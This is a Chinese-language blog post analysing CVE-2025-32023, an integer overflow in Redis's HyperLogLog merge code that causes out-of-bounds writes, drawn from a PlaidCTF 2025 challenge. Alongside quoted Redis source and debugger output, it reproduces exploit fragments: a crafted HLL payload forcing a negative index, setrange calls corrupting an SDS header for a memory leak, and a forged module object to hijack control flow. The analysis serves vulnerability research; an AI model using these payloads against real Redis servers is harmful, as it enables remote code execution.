Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

CVE-2025-32023 Redis 漏洞分析

2025-07-08 Updated on 2025-07-12 漏洞分析

Table of Contents

  1. CVE-2025-32023
    1. 漏洞原理
    2. PoC 构造
      1. 构造越界 payload
      2. 寻找越界写目标
  • 完整的利用流程
  • Reference link
  • TL; DR

    漏洞分析版本: commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)

    该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。

    CVE-2025-32023

    Redis 在调用 pfmerge 命令的时候会调用 hyperloglog.c 里的 void pfmergeCommand(client *c) 函数

    pfmerge [1] 的作用是将多个 HLL 的数据合并到一个目标 key 中, 是用来合并多个 HypeLogLog (HLL)数据。 对格式错误的 HLL 进行操作时,可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量,从而导致栈/堆上的越界写。 (eg: hllMerge() 函数中会发生栈越界, hllSparseToDense() 发生堆越界写)

    漏洞原理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    /* PFMERGE dest src1 src2 src3 ... srcN => OK */
    void pfmergeCommand(client *c) {
    uint8_t max[HLL_REGISTERS];
    struct hllhdr *hdr;
    int j;
    int use_dense = 0; /* Use dense representation as target? */

    /* Compute an HLL with M[i] = MAX(M[i]_j).
    * We store the maximum into the max array of registers. We'll write
    * it to the target variable later. */
    memset(max,0,sizeof(max));
    for (j = 1; j < c->argc; j++) {
    ...
    /* Merge with this HLL with our 'max' HLL by setting max[i]
    * to MAX(max[i],hll[i]). */
    if (hllMerge(max,o) == C_ERR) { // hllMerge [1] stack oob write
    ...
    }
    }


    /* Convert the destination object to dense representation if at least
    * one of the inputs was dense. */
    if (use_dense && hllSparseToDense(o) == C_ERR) { // hllSparseToDense [2] heap oob write
    ...
    }

    ...
    }

    在 hllSparseToDense 函数中会造成堆相关的越界写, 作者的漏洞利用也是用的这个漏洞原语。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    int hllSparseToDense(robj *o) {
    sds sparse = o->ptr, dense;
    struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse;
    int idx = 0, runlen, regval;
    uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);

    /* If the representation is already the right one return ASAP. */
    hdr = (struct hllhdr*) sparse;
    if (hdr->encoding == HLL_DENSE) return C_OK;

    /* Create a string of the right size filled with zero bytes.
    * Note that the cached cardinality is set to 0 as a side effect
    * that is exactly the cardinality of an empty HLL. */
    dense = sdsnewlen(NULL,HLL_DENSE_SIZE);
    hdr = (struct hllhdr*) dense;
    *hdr = *oldhdr; /* This will copy the magic and cached cardinality. */
    hdr->encoding = HLL_DENSE;

    /* Now read the sparse representation and set non-zero registers
    * accordingly. */
    p += HLL_HDR_SIZE;
    while(p < end) {
    if (HLL_SPARSE_IS_ZERO(p)) {
    runlen = HLL_SPARSE_ZERO_LEN(p);
    idx += runlen;
    p++;
    } else if (HLL_SPARSE_IS_XZERO(p)) {
    runlen = HLL_SPARSE_XZERO_LEN(p);
    idx += runlen;
    p += 2;
    } else {
    runlen = HLL_SPARSE_VAL_LEN(p);
    regval = HLL_SPARSE_VAL_VALUE(p);
    if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
    while(runlen--) {
    HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
    idx++;
    }
    p++;
    }
    }

    /* If the sparse representation was valid, we expect to find idx
    * set to HLL_REGISTERS. */
    if (idx != HLL_REGISTERS) {
    sdsfree(dense);
    return C_ERR;
    }

    /* Free the old representation and set the new one. */
    sdsfree(o->ptr);
    o->ptr = dense;
    return C_OK;
    }

    while 循环之前是对 HLL 数据的的部分 header 解析,之后是一个转换过程。 HLL 数据是一种 SDS [2]字符串的表示。 我们可以用 set 命令来伪造一个 HLL 数据。

    while 循环过程中,是将 HLL 的数据从 sparse 转换成 dense。 在转换过程中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    while(p < end) {
    if (HLL_SPARSE_IS_ZERO(p)) {
    runlen = HLL_SPARSE_ZERO_LEN(p);
    idx += runlen;
    p++;
    } else if (HLL_SPARSE_IS_XZERO(p)) {
    runlen = HLL_SPARSE_XZERO_LEN(p);
    idx += runlen;
    p += 2;
    } else {
    runlen = HLL_SPARSE_VAL_LEN(p);
    regval = HLL_SPARSE_VAL_VALUE(p);
    if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
    while(runlen--) {
    HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
    idx++;
    }
    p++;
    }
    }

    如果当前的数据既不是 HLL_SPARSE_IS_ZERO 也不是 HLL_SPARSE_IS_XZERO 会进入到 HLL_DENSE_SET_REGISTER 函数, 在进到 HLL_DENSE_SET_REGISTER 函数之前有一个判断这个 idx 是否越界。

    1
    if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */

    runlen 和 idx 都是一个 int 类型的变量, , 而 idx 的值可以在 HLL_SPARSE_IS_ZERO 或者 HLL_SPARSE_IS_ZERO 条件下语句中累加而成。

    我们可以通过构造 HLL 数据, 让 idx 不断累加成一个负数。

    image.png

    然后在 HLL_DENSE_SET_REGISTER 函数中就会发生越界

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #define HLL_DENSE_SET_REGISTER(p,regnum,val) do { \
    uint8_t *_p = (uint8_t*) p; \
    unsigned long _byte = (regnum)*HLL_BITS/8; \
    unsigned long _fb = (regnum)*HLL_BITS&7; \
    unsigned long _fb8 = 8 - _fb; \
    unsigned long _v = (val); \
    _p[_byte] &= ~(HLL_REGISTER_MAX << _fb); \
    _p[_byte] |= _v << _fb; \
    _p[_byte+1] &= ~(HLL_REGISTER_MAX >> _fb8); \
    _p[_byte+1] |= _v >> _fb8; \
    } while(0)

    PoC 构造

    构造越界 payload

    HLL 结构大致如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

    // 1. HLL 总体结构
    struct hllhdr {
    char magic[4]; /* "HYLL" */
    uint8_t encoding; /* HLL_DENSE or HLL_SPARSE. */
    uint8_t notused[3]; /* Reserved for future use, must be zero. */
    uint8_t card[8]; /* Cached cardinality, little endian. */
    uint8_t registers[]; /* Data bytes. */
    };

    #define HLL_P 14 /* The greater is P, the smaller the error. */
    #define HLL_REGISTERS (1<<HLL_P) /* With P=14, 16384 registers. */
    #define HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))

    +---------+----------+-----------+--------+-----------
    | "HYLL" | encoding | noused | card | registers
    +---------+----------+--------------------+-----------
    4字节 1字节 3字节 8字节 12288字节
    1. 稀疏(Sparse)编码
      1
      2
      3
      +---------+----------+---------+---------+-------------------+
      | "HYLL" | 0x01 | 保留3字节 | 保留8字节 | 指令流(2字节/条) |
      +---------+----------+---------+---------+-------------------+

    从作者的exploit[3]可以看到, 作者通过构造如下的 HLL sparse 让在代码在转换的时候能计算出来一个负数的idx

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    pl = b'HYLL'·
    pl += p8(HLL_SPARSE) + p8(0)*3
    pl += p8(0)*8
    assert len(pl) == 0x10
    pl += xzero(0x4000) * 0x3fffd # -0xc000
    pl += xzero(0xc000 - 0x956c) # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
    pl += p8(0b1_00011_00) # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
    pl += xzero(0x156b) # -0x8000
    pl += xzero(0x4000) * 3 # 0x4000
    time.sleep(1)
    r.set('hll:expp', pl)

    可以看到有一段 xzero(0x4000) * 0x3fffd 的数据, 可以通过这样数据,就构造 0x3fffd 轮次的 0x4000 idx 累加, 在加上后面的 pl += xzero(0xc000 - 0x956c) 数据,最后就能构造一个负数的 idx

    image.png

    寻找越界写目标

    image.png

    在单次下, 我们可以从 registers 往前越界写任意(可构造)偏移一个字节。 作者的思路是在 HLL 结构前面构造 sds 结构, 然后修改 sds 结构的 len 来进行类型混淆。

    sds 有几种不同的类型, 其取长度的方式也不一样·

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    static inline size_t sdslen(const sds s) {
    unsigned char flags = s[-1];
    switch(flags&SDS_TYPE_MASK) {
    case SDS_TYPE_5:
    return SDS_TYPE_5_LEN(flags);
    case SDS_TYPE_8:
    return SDS_HDR(8,s)->len;
    case SDS_TYPE_16:
    return SDS_HDR(16,s)->len;
    case SDS_TYPE_32:
    return SDS_HDR(32,s)->len;
    case SDS_TYPE_64:
    return SDS_HDR(64,s)->len;
    }
    return 0;
    }

    例如正常情况下, 我们使用 setrange 长度为0x37fa-8长度, 此时长度小于 65535 , 根据函数sdsReqType 创建出来的 sds 数据,其 flags 位置应该是 2 (SDS_TYPE_16)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

    //func sdsnewlen()-> _sdsnewlen() ->

    static inline char sdsReqType(size_t string_size) {
    if (string_size < 1<<5)
    return SDS_TYPE_5;
    if (string_size < 1<<8)
    return SDS_TYPE_8;
    if (string_size < 1<<16)
    return SDS_TYPE_16;
    #if (LONG_MAX == LLONG_MAX)
    if (string_size < 1ll<<32)
    return SDS_TYPE_32;
    return SDS_TYPE_64;
    #else
    return SDS_TYPE_32;
    #endif
    }

    然后在 _sdsnewlen 函数中完成对 sds 结构的初始化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    sds _sdsnewlen(const void *init, size_t initlen, int trymalloc) {
    char type = sdsReqType(initlen);
    /* Empty strings are usually created in order to append. Use type 8
    * since type 5 is not good at this. */
    if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
    int hdrlen = sdsHdrSize(type);
    unsigned char *fp; /* flags pointer. */
    size_t usable;
    ...
    s = (char*)sh+hdrlen;
    fp = ((unsigned char*)s)-1;
    ...
    switch(type) {
    case SDS_TYPE_5: {
    *fp = type | (initlen << SDS_TYPE_BITS);
    break;
    }
    case SDS_TYPE_8: {
    SDS_HDR_VAR(8,s);
    sh->len = initlen;
    sh->alloc = usable;
    *fp = type;
    break;
    }
    case SDS_TYPE_16: {
    SDS_HDR_VAR(16,s);
    sh->len = initlen;
    sh->alloc = usable;
    *fp = type;
    break;
    }
    case SDS_TYPE_32: {
    SDS_HDR_VAR(32,s);
    sh->len = initlen;
    sh->alloc = usable;
    *fp = type;
    break;
    }
    case SDS_TYPE_64: {
    SDS_HDR_VAR(64,s);
    sh->len = initlen;
    sh->alloc = usable;
    *fp = type;
    break;
    }
    }
    if (initlen && init)
    memcpy(s, init, initlen);
    s[initlen] = '\0';
    return s;

    在内存中可以看到

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    pwndbg> p/x 0x8c & 0x3
    $106 = 0x0
    pwndbg> p idx
    $107 = -38252
    pwndbg> p idx*6/8
    $108 = -28689
    pwndbg> p hdr->registers
    $109 = 0x7ffff797d015 ""
    pwndbg>
    pwndbg> x/20bx 0x7ffff7976000
    0x7ffff7976000: 0xfa 0x37 0xfa 0x37 0x02 0x00 0x00 0x00
    0x7ffff7976008: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
    0x7ffff7976010: 0x00 0x00 0x00 0x00

    pwndbg> x/20bx 0x7ffff7976000+0x37fa-8
    0x7ffff79797f2: 0x00 0x00 0x00 0x00 0x00 0x42 0x42 0x42
    0x7ffff79797fa: 0x42 0x42 0x42 0x42 0x42 0x00 0xfa 0x37
    0x7ffff7979802: 0xfa 0x37 0x02 0x00
    pwndbg>
    pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
    $104 = {
    len = 0x37fa,
    alloc = 0x37fa,
    flags = 0x2,
    buf = 0x7ffff7976005
    }
    pwndbg>

    由于 sdslen 函数取 sds 长度,是先根据不同的 flags, 然后再根据这个 flags 取计算这个 sds 的header 长度, 然后以当前地址减去 header长度取 len 这个变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    static inline size_t sdslen(const sds s) {
    unsigned char flags = s[-1];
    switch(flags&SDS_TYPE_MASK) {
    case SDS_TYPE_5:
    return SDS_TYPE_5_LEN(flags);
    case SDS_TYPE_8:
    return SDS_HDR(8,s)->len;
    case SDS_TYPE_16:
    return SDS_HDR(16,s)->len;
    case SDS_TYPE_32:
    return SDS_HDR(32,s)->len;
    case SDS_TYPE_64:
    return SDS_HDR(64,s)->len;
    }
    return 0;
    }

    struct __attribute__ ((__packed__)) sdshdr16 {
    uint16_t len; /* used */
    uint16_t alloc; /* excluding the header and null terminator */
    unsigned char flags; /* 3 lsb of type, 5 unused bits */
    char buf[];
    };

    struct __attribute__ ((__packed__)) sdshdr64 {
    uint64_t len; /* used */
    uint64_t alloc; /* excluding the header and null terminator */
    unsigned char flags; /* 3 lsb of type, 5 unused bits */
    char buf[];
    };

    而 sdshdr64 和sdshdr16 的结构体 大小不一样,因此如果将 sds16的 flags 改成 SDS_TYPE_64 , 将为从上一个内存中取一个值作为 sds的长度 (造成一个类似类型混淆的效果)

    1
    2
    3
    4
    fakelen = 0x4142434445464748

    r.setrange('sds:aa', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00
    r.setrange('sds:bb', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~

    image.png

    例如下面的这样的一个效果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
    $115 = {
    len = 0x37fa,
    alloc = 0x37fa,
    flags = 0x2,
    buf = 0x7ffff7976005
    }
    pwndbg> p/x *(struct sdshdr64 *)(0x7ffff7976000-11)
    $116 = {
    len = 0x41424344454647,
    alloc = 0x237fa37fa000000,
    flags = 0x0,
    buf = 0x7ffff7976006
    }
    pwndbg>

    当从 sdshder16 被当成 sdshdr64 后, sds:b 的长度就变成了上一个内存的一个可控制, 作者是将这个值设置成0x41424344454647。 这样当我们就可以将这个sds:b 当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr, 然后取读取 sds:b 的内容 。 由于此时 sds:b 长度很长,因此读取这个字符串的时候能读书很多的数据,可以读到内存后面很多的东西,这样就可以做 info leak。

    然后通过写 sds:b 字符串到操作,在内存中伪造了一个 type 为 Modules 的 Object

    1
    2
    3
    4
    5
    6
    # fake module object
    pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru
    pl += p32(1) # refcount
    pl += p64(badr + 0x10) # ptr
    r.setrange('sds:bb', tofs+3, pl)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    typedef struct RedisModuleType {
    uint64_t id; /* Higher 54 bits of type ID + 10 lower bits of encoding ver. */
    struct RedisModule *module;
    moduleTypeLoadFunc rdb_load;
    moduleTypeSaveFunc rdb_save;
    moduleTypeRewriteFunc aof_rewrite;
    moduleTypeMemUsageFunc mem_usage;
    moduleTypeDigestFunc digest;
    moduleTypeFreeFunc free;
    moduleTypeFreeEffortFunc free_effort;
    moduleTypeUnlinkFunc unlink;
    moduleTypeCopyFunc copy;
    moduleTypeDefragFunc defrag;
    moduleTypeAuxLoadFunc aux_load;
    moduleTypeAuxSaveFunc aux_save;
    moduleTypeMemUsageFunc2 mem_usage2;
    moduleTypeFreeEffortFunc2 free_effort2;
    moduleTypeUnlinkFunc2 unlink2;
    moduleTypeCopyFunc2 copy2;
    moduleTypeAuxSaveFunc aux_save2;
    int aux_save_triggers;
    char name[10]; /* 9 bytes name + null term. Charset: A-Z a-z 0-9 _- */
    } moduleType;


    void freeModuleObject(robj *o) {
    moduleValue *mv = o->ptr;
    mv->type->free(mv->value);
    zfree(mv);
    }

    通过需改 type->free 来控制 PC

    完整的利用流程

    可以看 deepwiki 生成的这个流程图[4]

    image.png

    Reference link


    1. 1.https://redis.io/docs/latest/commands/pfmerge/ ↩
    2. 2.https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-sds/ ↩
    3. 3.https://github.com/leesh3288/CVE-2025-32023 ↩
    4. 4.https://deepwiki.com/leesh3288/CVE-2025-32023/2.2-six-stage-exploitation-methodology ↩
    分类: 漏洞分析
    标签: redis
    ← Prev TP-Link WR841N router CVE-2023-50224 and CVE-2025-9377
    Next → CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom